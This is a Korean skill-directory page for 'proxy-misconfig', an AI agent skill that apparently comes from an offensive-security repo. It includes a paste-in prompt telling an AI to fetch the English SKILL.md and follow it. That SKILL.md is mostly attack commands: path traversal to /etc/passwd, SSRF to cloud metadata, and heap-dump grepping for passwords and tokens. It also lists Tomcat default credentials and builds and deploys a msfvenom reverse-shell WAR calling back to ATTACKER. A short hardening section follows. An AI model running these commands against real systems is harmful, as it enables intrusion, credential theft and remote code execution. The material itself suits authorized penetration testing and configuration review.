본문으로 건너뛰기
Skillpedia
보안6.5k · #14076

proxy-misconfig

하는 일

이 스킬은 리버스 프록시와 웹 서버에서 흔한 실수를 정리합니다. 안전하지 않은 경로 별칭과 노출된 관리 페이지가 예입니다. 서버 설정을 검토하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓사이트가 nginx, Apache, Tomcat, IIS 뒤에서 돌아가고 설정을 점검하려는 경우.
  • ✓Spring Boot 앱이 actuator 엔드포인트를 노출할 수 있을 때.
  • ✓보안 검토에서 관리 페이지나 기본 로그인이 노출되는지 물을 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“제 Spring Boot 앱이 내부 관리 엔드포인트를 노출하는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 관리 도구와 프록시 규칙의 알려진 경로를 요청하고, 서버가 설정이나 라우트 같은 내부 데이터를 돌려주는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Reverse Proxy Misconfigurations

1. Nginx alias traversal

Nginx alias directive (vs root) is dangerous when URL pattern is prefix-based but alias is a directory:

location /static {
    alias /var/www/static/;       # trailing slash CRITICAL
}
# But buggy:
location /static {
    alias /var/www/static;        # NO trailing slash → path traversal possible
}

Bypass:

GET /static../etc/passwd  → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../  → directory listing if autoindex on

2. Apache mod_rewrite SSRF

RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF

3. Spring Boot Actuator exposure

# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env       # all env vars including secrets
curl $TARGET/actuator/heapdump  # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings  # all routes
curl $TARGET/actuator/loggers   # logging config
curl $TARGET/actuator/jolokia/  # JMX bridge → RCE in many configs

# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump

4. Tomcat Manager

curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager

# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/"   # triggers shell

5. IIS short-name disclosure (8.3 names)

# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner

6. Nginx merge_slashes off + URL encoded

GET /api//../../admin   # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin   # URL-encoded traversal

7. Header injection via X-Forwarded-*

Some apps trust X-Forwarded-For/X-Real-IP from reverse proxy and use it for auth (admin from internal IP). If proxy doesn't strip incoming headers:

curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin

8. WebSocket Origin bypass via proxy

Proxy doesn't validate WebSocket Origin → attacker-origin can connect.

wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"

9. HTTP/2 specific attacks

Some proxies have h2 → h1 downgrade bugs (smuggling). See skills/exploit/web/smuggling.md.

10. Tools

  • Nuclei templates for actuator/manager/admin discovery
  • JFrog actuator scanner
  • shortscan for IIS 8.3
  • smuggler.py for h2 → h1
  • trustedheaders for header injection

PoC pattern

# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head

Severity

Bug Severity
Actuator /env w/ secrets visible Critical 9.8
Tomcat manager default-creds Critical 9.8 (RCE)
Nginx alias → /etc/passwd High 8.0
Apache mod_rewrite SSRF → metadata Critical 9.0
IIS short-name disclosure Medium 4-5
X-Forwarded-For trust → admin Critical 9.8

Defender

# nginx — always trailing slash on alias
location /static/ {
    alias /var/www/static/;
}

# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8;     # only trust internal
real_ip_recursive on;

Spring Boot:

management:
  endpoints:
    web:
      exposure:
        include: health, info         # never *
  endpoint:
    env:
      enabled: false
    heapdump:
      enabled: false

Cross-references

  • Upstream: skills/_corpus/payloads/Reverse Proxy Misconfigurations/ + Insecure Management Interface/
  • SSRF chain: skills/exploit/web/ssrf.md
  • HTTP smuggling: skills/exploit/web/smuggling.md
자주 묻는 질문

actuator 위험은 무엇인가요?

노출된 Spring Boot actuator 엔드포인트는 환경 설정, 라우트, 때로는 메모리 덤프를 보여 줄 수 있다고 이 스킬은 설명합니다.

Tomcat도 다루나요?

네. Tomcat 관리자 페이지와 그 기본 로그인을 다룹니다.

IIS도 다루나요?

네. IIS 짧은 이름 노출(short-name disclosure)을 언급합니다.

상세 정보

작성자의 원본 설명

Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14076
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬